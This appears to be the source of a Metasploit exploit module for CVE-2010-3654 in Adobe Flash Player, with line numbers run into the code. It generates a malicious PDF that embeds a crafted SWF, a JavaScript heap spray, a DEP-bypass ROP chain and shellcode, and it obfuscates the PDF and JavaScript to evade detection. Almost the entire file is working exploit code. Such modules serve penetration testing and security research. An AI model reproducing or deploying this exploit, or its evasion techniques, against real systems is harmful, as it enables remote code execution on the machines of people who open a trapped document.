Path: blob/master/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = NormalRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Flash Player "Button" Remote Code Execution',17'Description' => %q{18This module exploits a vulnerability in the handling of certain SWF movies19within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat20are also vulnerable, as are any other applications that may embed Flash player.2122Arbitrary code execution is achieved by embedding a specially crafted Flash23movie into a PDF document. An AcroJS heap spray is used in order to ensure24that the memory used by the invalid pointer issue is controlled.2526NOTE: This module uses a similar DEP bypass method to that used within the27adobe_libtiff module. This method is unlikely to work across various28Windows versions due to a hardcoded syscall number.29},30'License' => MSF_LICENSE,31'Author' => [32'Unknown', # Found being openly exploited33'Haifei Li', # PoC34'jduck' # Metasploit version35],36'References' => [37['CVE', '2010-3654'],38['OSVDB', '68932'],39['BID', '44504'],40['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],41['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], # PoC42# For SWF->PDF embedding43['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']44],45'DefaultOptions' => {46'EXITFUNC' => 'process',47'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',48'DisablePayloadHandler' => true49},50'Payload' => {51'Space' => 1000,52'BadChars' => "\x00",53'DisableNops' => true54},55'Platform' => 'win',56'Targets' => [57# Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd58[ 'Automatic', {}],59],60'DisclosureDate' => '2010-10-28',61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options(71[72OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),73]74)75end7677def exploit78swf_data = make_swf()79js_data = make_js(payload.encoded)8081# Create the pdf82pdf = make_pdf(swf_data, js_data)8384print_status("Creating '#{datastore['FILENAME']}' file...")8586file_create(pdf)87end8889def make_swf90# load the static swf file91path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3654.swf")92fd = File.open(path, "rb")93swf_data = fd.read(fd.stat.size)94fd.close95swf_data96end9798def make_js(encoded_payload)99# The following executes a ret2lib using BIB.dll100# The effect is to bypass DEP and execute the shellcode in an indirect way101stack_data = [1020xc0c0c0c,1030x7002fe1, # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx1040xcccccccc,1050xcccccccc,1060xc0c0c0c + 0x10,1070x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret1080xcccccccc,1090x70048ef, # xchg eax,esp / ret1100x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]1110xcccccccc,1120x7009084, # ret1130x7009084, # ret1140x7009084, # ret1150x7009084, # ret1160x7009084, # ret1170x7009084, # ret1180x7009033, # ret 0x181190x7009084, # ret1200xc0c0c0c,1210x7009084, # ret1220x7009084, # ret1230x7009084, # ret1240x7009084, # ret1250x7009084, # ret1260x7009084, # ret1270x7009084, # ret1280x7009084, # ret1290x7001599, # pop ebp / ret1300x10124,1310x70072f7, # pop eax / ret1320x10104,1330x70015bb, # pop ecx / ret1340x1000,1350x700154d, # mov [eax], ecx / ret1360x70015bb, # pop ecx / ret1370x7ffe0300, # -- location of KiFastSystemCall1380x7007fb2, # mov eax, [ecx] / ret1390x70015bb, # pop ecx / ret1400x10011,1410x700a8ac, # mov [ecx], eax / xor eax,eax / ret1420x70015bb, # pop ecx / ret1430x10100,1440x700a8ac, # mov [ecx], eax / xor eax,eax / ret1450x70072f7, # pop eax / ret1460x10011,1470x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)1480x7005c54, # pop esi / add esp,0x14 / ret1490xffffffff,1500x10100,1510x0,1520x10104,1530x1000,1540x40,155# The next bit effectively copies data from the interleaved stack to the memory156# pointed to by eax157# The data copied is:158# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83159# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff160# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x901610x700d731, # mov eax, [ebp-0x24] / ret1620x70015bb, # pop ecx / ret1630x9054905a,1640x700154d, # mov [eax], ecx / ret1650x700a722, # add eax, 4 / ret1660x70015bb, # pop ecx / ret1670x5815eb5a,1680x700154d, # mov [eax], ecx / ret1690x700a722, # add eax, 4 / ret1700x70015bb, # pop ecx / ret1710x18891a8b,1720x700154d, # mov [eax], ecx / ret1730x700a722, # add eax, 4 / ret1740x70015bb, # pop ecx / ret1750x8304c083,1760x700154d, # mov [eax], ecx / ret1770x700a722, # add eax, 4 / ret1780x70015bb, # pop ecx / ret1790xfb8104c2,1800x700154d, # mov [eax], ecx / ret1810x700a722, # add eax, 4 / ret1820x70015bb, # pop ecx / ret1830xc0c0c0c,1840x700154d, # mov [eax], ecx / ret1850x700a722, # add eax, 4 / ret1860x70015bb, # pop ecx / ret1870x5ebee75,1880x700154d, # mov [eax], ecx / ret1890x700a722, # add eax, 4 / ret1900x70015bb, # pop ecx / ret1910xffffe6e8,1920x700154d, # mov [eax], ecx / ret1930x700a722, # add eax, 4 / ret1940x70015bb, # pop ecx / ret1950x909090ff,1960x700154d, # mov [eax], ecx / ret1970x700a722, # add eax, 4 / ret1980x70015bb, # pop ecx / ret1990x90909090,2000x700154d, # mov [eax], ecx / ret2010x700a722, # add eax, 4 / ret2020x70015bb, # pop ecx / ret2030x90909090,2040x700154d, # mov [eax], ecx / ret2050x700a722, # add eax, 4 / ret2060x70015bb, # pop ecx / ret2070x90ffffff,2080x700154d, # mov [eax], ecx / ret2090x700d731, # mov eax, [ebp-0x24] / ret2100x700112f # call eax -- (execute stub to transition to full shellcode)211].pack('V*')212213var_unescape = rand_text_alpha(rand(100) + 1)214var_shellcode = rand_text_alpha(rand(100) + 1)215216var_start = rand_text_alpha(rand(100) + 1)217218var_s = 0x10000219var_c = rand_text_alpha(rand(100) + 1)220var_b = rand_text_alpha(rand(100) + 1)221var_d = rand_text_alpha(rand(100) + 1)222var_3 = rand_text_alpha(rand(100) + 1)223var_i = rand_text_alpha(rand(100) + 1)224var_4 = rand_text_alpha(rand(100) + 1)225226payload_buf = ''227payload_buf << stack_data228payload_buf << encoded_payload229230escaped_payload = Rex::Text.to_unescape(payload_buf)231232js = %Q|233var #{var_unescape} = unescape;234var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );235var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );236while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};237#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);238#{var_b} += #{var_shellcode};239#{var_b} += #{var_c};240#{var_d} = #{var_b}.substring(0, #{var_s}/2);241while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};242#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);243var #{var_4} = new Array();244for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";245|246247js248end249250def random_non_ascii_string(count)251result = ""252count.times do253result << (rand(128) + 128).chr254end255result256end257258def io_def(id)259"%d 0 obj\n" % id260end261262def io_ref(id)263"%d 0 R" % id264end265266# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/267def n_obfu(str)268result = ""269str.scan(/./u) do |c|270if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'271result << "#%x" % c.unpack("C*")[0]272else273result << c274end275end276result277end278279def ascii_hex_whitespace_encode(str)280result = ""281whitespace = ""282str.each_byte do |b|283result << whitespace << "%02x" % b284whitespace = " " * (rand(3) + 1)285end286result << ">"287end288289def make_pdf(swf, js)290swf_name = rand_text_alpha(8 + rand(8)) + ".swf"291292xref = []293eol = "\n"294endobj = "endobj" << eol295296# Randomize PDF version?297pdf = "%PDF-1.5" << eol298# pdf << "%" << random_non_ascii_string(4) << eol299300# catalog301xref << pdf.length302pdf << io_def(1) << n_obfu("<</Type/Catalog")303pdf << n_obfu("/Pages ") << io_ref(3)304pdf << n_obfu("/OpenAction ") << io_ref(5)305pdf << n_obfu(">>")306pdf << eol << endobj307308# pages array309xref << pdf.length310pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj311312# page 1313xref << pdf.length314pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)315pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")316pdf << n_obfu(">>")317pdf << eol << endobj318319# js action320xref << pdf.length321pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj322323# js stream324xref << pdf.length325compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))326pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol327pdf << "stream" << eol328pdf << compressed << eol329pdf << "endstream" << eol330pdf << endobj331332# swf annotation object333xref << pdf.length334pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")335pdf << n_obfu("/Rect [20 20 187 69] ")336pdf << n_obfu("/RichMediaSettings ") << io_ref(8)337pdf << n_obfu("/RichMediaContent ") << io_ref(9)338pdf << n_obfu("/NM (") << swf_name << n_obfu(")")339pdf << n_obfu(">>")340pdf << eol << endobj341342# rich media settings343xref << pdf.length344pdf << io_def(8)345pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")346pdf << n_obfu("/Activation ") << io_ref(10)347pdf << n_obfu("/Deactivation ") << io_ref(11)348pdf << n_obfu(">>")349pdf << eol << endobj350351# rich media content352xref << pdf.length353pdf << io_def(9)354pdf << n_obfu("<</Type/RichMediaContent")355pdf << n_obfu("/Assets ") << io_ref(12)356pdf << n_obfu("/Configurations [") << io_ref(14) << "]"357pdf << n_obfu(">>")358pdf << eol << endobj359360# rich media activation / deactivation361xref << pdf.length362pdf << io_def(10)363pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")364pdf << eol << endobj365366xref << pdf.length367pdf << io_def(11)368pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")369pdf << eol << endobj370371# rich media assets372xref << pdf.length373pdf << io_def(12)374pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")375pdf << eol << endobj376377# swf embeded file ref378xref << pdf.length379pdf << io_def(13)380pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")381pdf << eol << endobj382383# rich media configuration384xref << pdf.length385pdf << io_def(14)386pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")387pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")388pdf << eol << endobj389390# rich media isntance391xref << pdf.length392pdf << io_def(15)393pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")394pdf << n_obfu("/Asset ") << io_ref(13)395pdf << n_obfu(">>")396pdf << eol << endobj397398# swf stream399# NOTE: This data is already compressed, no need to compress it again...400xref << pdf.length401pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol402pdf << "stream" << eol403pdf << swf << eol404pdf << "endstream" << eol405pdf << endobj406407# trailing stuff408xrefPosition = pdf.length409pdf << "xref" << eol410pdf << "0 %d" % (xref.length + 1) << eol411pdf << "0000000000 65535 f" << eol412xref.each do |index|413pdf << "%010d 00000 n" % index << eol414end415416pdf << "trailer" << eol417pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol418419pdf << "startxref" << eol420pdf << xrefPosition.to_s() << eol421422pdf << "%%EOF" << eol423424end425end426427428